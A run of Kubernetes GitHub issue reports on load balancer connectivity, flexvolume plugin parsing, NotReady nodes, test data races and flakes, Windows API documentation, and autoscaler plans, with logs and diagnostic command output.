<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r client version: 1.5, platform: windows/amd\r server version 1.5\r \r   environment  :\r -   cloud provider or hardware configuration  : azure acs\r -   os    e.g. from /etc/os-release : windows agents  windows server 2016 \r \r \r   what happened  :\r i've noticed that sometimes when i create a new service for a deployment that the loadbalancer public ip won't reach the server, this is however resolved by rebooting the agents.\r when this happens this happens for all my deployments and at the moment only rebooting the agents seems to resolve the issue.\r \r   what you expected to happen  :\r start up service connects to containers without agent reboot\r \r   how to reproduce it    as minimally and precisely as possible :\r haven't really found a way to reproduce it, it only happened to me twice. first time i think because i created several services linked to the same deployment which might have caused an issue.\r \r second time was just after i came into work and try start up some test deployments and just didn't work. since this is just a simple test-environment it doesn't impact anything but i can assume this issue could have a bigger impact on production environments\r \r i personally think that it mostly happens if i expose the same image twice on the same ports. but over different deployments.\r   anything else we need to know  :\r \r - both agents are standard_a1_v2 sizes\r  - i've created the service from:\r    - a yaml file\r    - through kubectl expose deployment <-deployment-> ...\r \r found a very similar issue  42151

after we fixed upgrade test infra issue  https://github.com/kubernetes/kubernetes/issues/47379 issuecomment-309912047 , now we get better signals on real failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster/55 the following network partition tests are failed: \r \r    \r  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned\r  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero\r  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster\r  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive \r  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive \r    \r

  \r   what happened  :\r after upgrading from v1.7.8 to v1.8.1 i can't get any flexvolume plugins to work. including the nfs plugin from here: https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/flexvolume\r \r it seems to be trying to parse the bash scripts as json now.\r \r   what you expected to happen  :\r the plugin to be loaded and my volumes to be mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set the volume-plugins-dir to /etc/kubernetes/volumeplugins\r put the nfs plugin in /etc/kubernetes/volumplugins/flexvolume~nfs/nfs\r \r restart kubelet and look at the output which looks something like this:\r  oct 24 16:26:15 localhost kubelet-wrapper 2702 : e1024 16:26:15.624996    2702 driver-call.go:237  failed to unmarshal output for command: init, output: \ -ne {\\\ status\\\ : \\\ success\\\ , \\\ capabilities\\\ : {\\\ attach\\\ : false}}\ \ , error: invalid character 'n' in numeric literal\r oct 24 16:26:15 localhost kubelet-wrapper 2702 : e1024 16:26:15.625082    2702 plugins.go:515  error dynamically probing plugins: error creating flexvolume plugin from directory flexvolume~nfs, skipping. error: invalid character 'n' in numeric literal \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration  : vmware\r - os  e.g. from /etc/os-release : coreos 1409.5.0\r - kernel  e.g.  uname -a  : linux localhost 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2690 0 @ 2.90ghz genuineintel gnu/linux\r \r thanks in advance

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r kubectl version\r    \r root@zhiwei5-master:~  kubectl version\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0+icp\ , gitcommit:\ c1d8f0e592b0b00e5d258a63721d7b19ab250cc5\ , gittreestate:\ clean\ , builddate:\ 2018-01-02t06:14:09z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0+icp\ , gitcommit:\ c1d8f0e592b0b00e5d258a63721d7b19ab250cc5\ , gittreestate:\ clean\ , builddate:\ 2018-01-02t06:14:09z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - enabling  taintnodesbycondition  for apiserver, controller manager, kubelet and apiserver.\r - enabling  taintbasedevictions  for controller manager.\r \r    \r root@zhiwei5-master:~  ps -ef | grep taintnodesbycondition\r root      8664     1  2 02:08 ?        00:01:11 /opt/kubernetes/hyperkube kubelet --feature-gates accelerators=true,persistentlocalvolumes=true,experimentalcriticalpodannotation=true,taintnodesbycondition=true --allow-privileged=true --docker-disable-shared-pid --kubeconfig=/var/lib/kubelet/kubelet-config --read-only-port=0 --client-ca-file=/var/lib/kubelet/ca.crt --authentication-token-webhook --anonymous-auth=false --network-plugin=cni --pod-manifest-path=/etc/cfc/pods --hostname-override=10.10.25.230 --node-ip=10.10.25.230 --cluster-dns=10.0.0.10 --cluster-domain=cluster.local --pod-infra-container-image=ibmcom/pause:3.0 --eviction-hard=memory.available<100mi,nodefs.available<100mi,nodefs.inodesfree<5 --image-gc-high-threshold=100 --image-gc-low-threshold=100 --cgroup-driver=cgroupfs\r root      8830  8813  3 02:09 ?        00:01:16 /hyperkube controller-manager --master=https://10.10.25.230:8001 --service-account-private-key-file=/etc/cfc/conf/server.key --feature-gates=taintbasedevictions=true,persistentlocalvolumes=true,taintnodesbycondition=true --root-ca-file=/etc/cfc/conf/ca.crt --min-resync-period=3m --cluster-cidr=10.1.0.0/16 --use-service-account-credentials=true --kubeconfig=/etc/cfc/conf/kube-controller-manager-config.yaml --pv-recycler-pod-template-filepath-hostpath=/etc/cfc/conf/recycler.yaml --pv-recycler-pod-template-filepath-nfs=/etc/cfc/conf/recycler.yaml --v=2 --leader-elect=true\r root      8892  8874  4 02:09 ?        00:01:41 /hyperkube apiserver --secure-port=8001 --bind-address=0.0.0.0 --advertise-address=10.10.25.230 --insecure-port=8888 --insecure-bind-address=127.0.0.1 --etcd-servers=https://10.10.25.230:4001 --etcd-cafile=/etc/cfc/conf/etcd/ca.pem --etcd-certfile=/etc/cfc/conf/etcd/client.pem --etcd-keyfile=/etc/cfc/conf/etcd/client-key.pem --runtime-config=batch/v2alpha1,extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true,admissionregistration.k8s.io/v1alpha1 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,podsecuritypolicy,defaulttolerationseconds,resourcequota --oidc-issuer-url=https://mycluster.icp:9443/oidc/endpoint/op --oidc-client-id=d1e77899715e91ff5ee300ebce270c91 --oidc-ca-file=/etc/cfc/conf/platformauth-ca.crt --feature-gates=persistentlocalvolumes=true,taintnodesbycondition=true --oidc-groups-claim=sub --tls-cert-file=/etc/cfc/conf/server.cert --tls-private-key-file=/etc/cfc/conf/server.key --kubelet-client-certificate=/etc/cfc/conf/kubelet-client.crt --kubelet-client-key=/etc/cfc/conf/kubelet-client.key --client-ca-file=/etc/cfc/conf/ca.crt --service-account-key-file=/etc/cfc/conf/server.key --authorization-mode=rbac --min-request-timeout=300 --allow-privileged --requestheader-client-ca-file=/etc/cfc/conf/front/front-proxy-ca.pem --requestheader-username-headers=x-remote-user --requestheader-group-headers=x-remote-group --requestheader-allowed-names=mycluster.icp --requestheader-extra-headers-prefix=x-remote-extra- --proxy-client-cert-file=/etc/cfc/conf/front/front-proxy-client.pem --proxy-client-key-file=/etc/cfc/conf/front/front-proxy-client-key.pem --v=2 --service-cluster-ip-range=10.0.0.1/24\r root      8956  8936  1 02:09 ?        00:00:26 /hyperkube scheduler --master=https://10.10.25.230:8001 --feature-gates=persistentlocalvolumes=true,taintnodesbycondition=true --kubeconfig=/etc/cfc/conf/kube-scheduler-config.yaml --v=2 --leader-elect=true\r root     13960  9342  0 02:51 pts/2    00:00:00 grep --color=auto taintnodesbycondition\r root@zhiwei5-master:~  ps -ef | grep taintbasedevictions\r root      8830  8813  3 02:09 ?        00:01:17 /hyperkube controller-manager --master=https://10.10.25.230:8001 --service-account-private-key-file=/etc/cfc/conf/server.key --feature-gates=taintbasedevictions=true,persistentlocalvolumes=true,taintnodesbycondition=true --root-ca-file=/etc/cfc/conf/ca.crt --min-resync-period=3m --cluster-cidr=10.1.0.0/16 --use-service-account-credentials=true --kubeconfig=/etc/cfc/conf/kube-controller-manager-config.yaml --pv-recycler-pod-template-filepath-hostpath=/etc/cfc/conf/recycler.yaml --pv-recycler-pod-template-filepath-nfs=/etc/cfc/conf/recycler.yaml --v=2 --leader-elect=true\r root     13994  9342  0 02:51 pts/2    00:00:00 grep --color=auto taintbasedevictions\r    \r \r and now all of my nodes are  notready , but there is no taint on my nodes.\r \r    \r root@zhiwei5-master:~  kubectl get nodes --show-labels\r name           status     roles     age       version      labels\r 10.10.25.228   notready   <none>    51m       v1.9.0+icp   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gpu/nvidia=na,kubernetes.io/hostname=10.10.25.228\r 10.10.25.229   notready   <none>    1h        v1.9.0+icp   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gpu/nvidia=na,kubernetes.io/hostname=10.10.25.229\r 10.10.25.230   notready   <none>    48m       v1.9.0+icp   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,gpu/nvidia=na,kubernetes.io/hostname=10.10.25.230,management=true,master=true,proxy=true,role=master\r    \r \r    \r root@zhiwei5-master:~  kubectl describe nodes 10.10.25.228\r name:               10.10.25.228\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     gpu/nvidia=na\r                     kubernetes.io/hostname=10.10.25.228\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  wed, 10 jan 2018 02:03:12 +0000\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   wed, 10 jan 2018 02:55:14 +0000   wed, 10 jan 2018 02:03:12 +0000   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   wed, 10 jan 2018 02:55:14 +0000   wed, 10 jan 2018 02:03:12 +0000   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   wed, 10 jan 2018 02:55:14 +0000   wed, 10 jan 2018 02:03:12 +0000   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready            false   wed, 10 jan 2018 02:55:14 +0000   wed, 10 jan 2018 02:03:12 +0000   kubeletnotready              runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r addresses:\r   internalip:  10.10.25.228\r   hostname:    10.10.25.228\r capacity:\r    \r \r /cc @kubernetes/sig-node-bugs @gmarek \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

since  62565 merged on friday night, my pr   62572  has failed several retests of pull-kubernetes-bazel-test. my pr is unrelated to the load balancer so i suspect that  62565 introduced a flake. i see several runs of that test against master that aren't failing, so clearly the test works sometimes  and the original pr passed it several times to before it merged . perhaps the test harness sometimes runs problem tests in parallel and other times it doesn't.\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r my pr had one good run of pull-kubernetes-bazel-test before  62565 merged, but has failed several times since with no code changes to my pr.\r \r    \r e0415 18:50:24.388907      15 gce_loadbalancer_external.go:461  verifyuserrequestedip: requested ip \ 1.1.1.1\  for lb test-lb is neither static nor assigned to the lb\r e0415 18:50:24.391401      15 gce_loadbalancer_external.go:445  verifyuserrequestedip: requested static ip \ 1.1.1.1\   name: foo  for lb test-lb has network tier premium, need standard.\r e0415 18:50:24.410287      15 gce_loadbalancer_external.go:75  ensureexternalloadbalancer a /  : failed to get the desired network tier: unsupported network tier: \ supremeluxury\ .\r e0415 18:50:24.480914      15 gce_healthchecks.go:195  vstring    is not a valid version string: could not parse \ \  as version\r e0415 18:50:24.481083      15 gce_instances.go:460  failed to retrieve instances:   \r ==================\r warning: data race\r read at 0x000002fb6c08 by goroutine 61:\r   runtime.convt2e64  \r       goroot/src/runtime/iface.go:335 +0x0\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.convertandinsertalphaaddress  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:200 +0xc64\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.insertaddresshook  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:216 +0x13f\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud.  mockaddresses .insert  \r       pkg/cloudprovider/providers/gce/cloud/gen.go:1309 +0xbd2\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .reserveregionaddress  \r       pkg/cloudprovider/providers/gce/gce_addresses.go:67 +0x1fd\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.ensurestaticip  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:986 +0x803\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureexternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:148 +0x37c8\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer.go:149 +0x9dc\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.testensureloadbalancercreatesexternallb  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_test.go:66 +0x554\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r previous write at 0x000002fb6c08 by goroutine 86:\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.convertandinsertalphaaddress  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:201 +0xd6a\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.insertaddresshook  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:216 +0x13f\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud.  mockaddresses .insert  \r       pkg/cloudprovider/providers/gce/cloud/gen.go:1309 +0xbd2\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .reserveregionaddress  \r       pkg/cloudprovider/providers/gce/gce_addresses.go:67 +0x1fd\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.ensurestaticip  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:986 +0x803\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureexternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:148 +0x37c8\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.createexternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:277 +0x15e\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.testensureloadbalancerdeleteddeletesexternallb  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_test.go:147 +0x502\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 61  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/cloudprovider/providers/gce/linux_amd64_race_stripped/go_default_test~/testmain.go:267 +0x3ad\r \r goroutine 86  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/cloudprovider/providers/gce/linux_amd64_race_stripped/go_default_test~/testmain.go:267 +0x3ad\r ==================\r ==================\r warning: data race\r read at 0x000002fb6c08 by goroutine 84:\r   runtime.convt2e64  \r       goroot/src/runtime/iface.go:335 +0x0\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.convertandinsertalphaaddress  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:200 +0xc64\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.insertaddresshook  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:216 +0x13f\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud.  mockaddresses .insert  \r       pkg/cloudprovider/providers/gce/cloud/gen.go:1309 +0xbd2\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .reserveregionaddress  \r       pkg/cloudprovider/providers/gce/gce_addresses.go:67 +0x1fd\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  addressmanager .ensureaddressreservation  \r       pkg/cloudprovider/providers/gce/gce_address_manager.go:130 +0x36d\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  addressmanager .holdaddress  \r       pkg/cloudprovider/providers/gce/gce_address_manager.go:93 +0x2ec\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureinternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_internal.go:98 +0x1862\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.createinternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:41 +0x162\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.testensureloadbalancerdeletesexistinginternallb  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_test.go:102 +0x559\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r previous write at 0x000002fb6c08 by goroutine 60:\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.convertandinsertalphaaddress  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:201 +0xd6a\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud/mock.insertaddresshook  \r       pkg/cloudprovider/providers/gce/cloud/mock/mock.go:216 +0x13f\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce/cloud.  mockaddresses .insert  \r       pkg/cloudprovider/providers/gce/cloud/gen.go:1309 +0xbd2\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .reserveregionaddress  \r       pkg/cloudprovider/providers/gce/gce_addresses.go:67 +0x1fd\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.ensurestaticip  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:986 +0x803\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureexternalloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go:148 +0x37c8\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.  gcecloud .ensureloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer.go:149 +0x9dc\r   k8s.io/kubernetes/pkg/cloudprovider/providers/gce.testgetloadbalancer  \r       pkg/cloudprovider/providers/gce/gce_loadbalancer_test.go:45 +0x697\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 84  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/cloudprovider/providers/gce/linux_amd64_race_stripped/go_default_test~/testmain.go:267 +0x3ad\r \r goroutine 60  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/cloudprovider/providers/gce/linux_amd64_race_stripped/go_default_test~/testmain.go:267 +0x3ad\r ==================\r --- fail: testensureloadbalancerdeleteddeletesinternallb  0.00s \r \ttesting.go:730: race detected during execution of test\r --- fail: testgetloadbalancer  0.00s \r \ttesting.go:730: race detected during execution of test\r --- fail: testensureloadbalancercreatesinternallb  0.01s \r \ttesting.go:730: race detected during execution of test\r --- fail: testensureloadbalancercreatesexternallb  0.01s \r \ttesting.go:730: race detected during execution of test\r --- fail: testensureloadbalancerdeleteddeletesexternallb  0.01s \r \ttesting.go:730: race detected during execution of test\r --- fail: testensureloadbalancerdeletesexistingexternallb  0.01s \r \ttesting.go:730: race detected during execution of test\r --- fail: testensureloadbalancerdeletesexistinginternallb  0.01s \r \ttesting.go:730: race detected during execution of test\r fail\r    \r \r   what you expected to happen  :\r \r the tests should consistently pass unless related problem code is introduced.\r \r

flaky jobs:\r    presubmits-kubernetes-blocking pull-kubernetes-integration  https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce&show-stale-tests= \r    ci-kubernetes-e2e-gci-gce  https://k8s-testgrid.appspot.com/sig-api-machinery gce&width=5 \r \r    consistency:  91%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r    flakiest test :\r     sig-api-machinery  garbage collector should orphan rs created by deployment when deleteoptions.propagationpolicy is orphan  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64957/pull-kubernetes-e2e-gce/40826 \r \r    flakes in the past week:  11  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r    triage link\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-06-15&sig=api-machinery&job=ci-kubernetes-e2e-gci-gce&test=garbage%20collector%20should%20orphan%20rs%20created%20by%20deployment%20when%20deleteoptions.propagationpolicy%20is%20orphan\r \r / /  /sig-api-machinery\r /assign @liggitt \r @kubernetes/sig-api-machinery-bugs \r \r @liggit @deads2k  @@fedebongio this failure is currently one of the top flake and repros in both presubmits and ci jobs. this test is also part of the conformance suite, which makes the flake far more critical. can one of you please help triage this issue.

this is a tracking issue for the api reference documentation that needs to be updated related to windows. this will replace the earlier list  here  https://github.com/kubernetes/community/blob/master/sig-windows/api-tracking.md . initially i'm putting in a github task list but will replace them with pr links as they're submitted\r \r many of these issues will probably also be gathered into https://github.com/kubernetes/kubernetes/issues/8190 to make the 'v2' api more os-agnostic\r \r also for reference - the non-autogenerated website docs are tracked here https://github.com/kubernetes/website/pull/10875\r \r -     v1.pod.volumes - need to clarify mount options, permissions handling  no uid/gid , no subpath mounts\r -     v1.pod.resources.resourcerequirements - clarify what properties work / don't work on windows\r -     v1.pod.hostnetwork - not supported\r -     v1.pod.hostipc, v1.pod.hostpid, v1.pod.\r -     v1.pod.hostaliases - not supported, windows doesn't support single file mounts\r -     v1.pod.securitycontext - some windows unique additions, but most existing fields are linux specific.  privileged  is not supported\r -     v1.container.terminationmessagepath - windows doesn't support single file mounts\r \r  /milestone v1.13\r   

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=flexvolumes\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/flexvolume.go:223\r nov 13 01:12:38.866: sudo mkdir -p /usr/libexec/kubernetes/kubelet-plugins/volume/exec/k8s~dummy-e2e-tests-flexvolume-5vz27 returned non-zero, stderr: mkdir: cannot create directory '/usr/libexec/kubernetes': read-only file system\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/flexvolume.go:161\r    \r \r i think these jobs do not have the flexvolume directory properly configured.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

current hacky version has number of drawbacks: - works only on gce - doesn't support number of cases and we may still have pending pods - very cloud provider specific - very hard to update configuration - ux is very poor  we'd like to improve it to: - support all cases for pending pods - provide a reference implementation that could be ported to other cloud providers.  it should support both scaling up  p1  and scaling down  p2 .  this an umbrella bug used for referencing prs etc.

on 1.2.4, i have a daemonset that only results in a single pod b/c of a nodeselector.  it still results in the following error:      spec.template.spec.volumes 0 .gcepersistentdisk.readonly: invalid value: false: must be true for replicated pods > 1; gce pd can only be mounted on multiple machines if it is read-only

_problem_ - viper configuration is lovely but the e2e --help really only encourages users to be more deeply dependent on flags, since it doesnt describe non-flag config via viper. - viper config is hardcoded to  e2e .    _solution_  add a  --viper  config parameter.  this solves two problems.   1  people can have different viper configs for different use cases  e2e-scale.json   e2e-networking.json   e2e-conformance-smoke.json  and so on.   2  the help will automatically print a description of viper when users read it.

this run of scalability test:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-scalability/11517/\r failed, because one pod never started.\r \r looking into kubelet log, i see:\r    \r i1020 09:45:05.450111    3643 kubelet.go:1592  syncloop  add, \ api\  : \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ \r i1020 09:45:05.751174    3643 docker_manager.go:1941  need to restart pod infra container for \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \  because it is not found\r e1020 09:47:05.837740    3643 docker_manager.go:2154  failed to create pod infra container: runcontainererror; skipping pod \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded\r i1020 09:47:17.088461    3643 docker_manager.go:1941  need to restart pod infra container for \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \  because it is not found\r e1020 09:49:17.165065    3643 docker_manager.go:2154  failed to create pod infra container: runcontainererror; skipping pod \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded\r e1020 09:49:17.171547    3643 generic.go:238  pleg: ignoring events for pod load-medium-rc-11-4qcqh/e2e-tests-load-30-nodepods-1-t608t: operation timeout: context deadline exceeded\r i1020 09:49:30.088745    3643 docker_manager.go:1941  need to restart pod infra container for \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \  because it is not found\r e1020 09:51:30.160984    3643 docker_manager.go:2154  failed to create pod infra container: runcontainererror; skipping pod \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded\r i1020 09:51:45.088798    3643 docker_manager.go:1941  need to restart pod infra container for \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \  because it is not found\r e1020 09:53:45.173738    3643 docker_manager.go:2154  failed to create pod infra container: runcontainererror; skipping pod \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded\r i1020 09:53:57.088638    3643 docker_manager.go:1941  need to restart pod infra container for \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \  because it is not found\r e1020 09:55:57.173622    3643 docker_manager.go:2154  failed to create pod infra container: runcontainererror; skipping pod \ load-medium-rc-11-4qcqh_e2e-tests-load-30-nodepods-1-t608t e14812a5-96a9-11e6-b89e-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded\r    \r \r the logs come from here:\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/kubernetes-e2e-gce-scalability/11517/artifacts/e2e-scalability-minion-group-lzyk/\r \r @kubernetes/goog-node 